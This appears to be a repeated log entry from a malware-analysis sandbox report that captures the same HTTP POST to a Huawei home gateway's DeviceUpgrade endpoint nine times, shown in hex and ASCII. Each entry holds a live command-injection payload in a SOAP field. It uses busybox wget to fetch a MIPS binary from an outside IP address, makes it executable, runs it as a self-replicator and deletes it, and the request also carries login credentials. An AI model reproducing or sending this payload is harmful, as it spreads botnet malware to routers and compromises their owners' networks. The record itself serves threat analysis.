Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
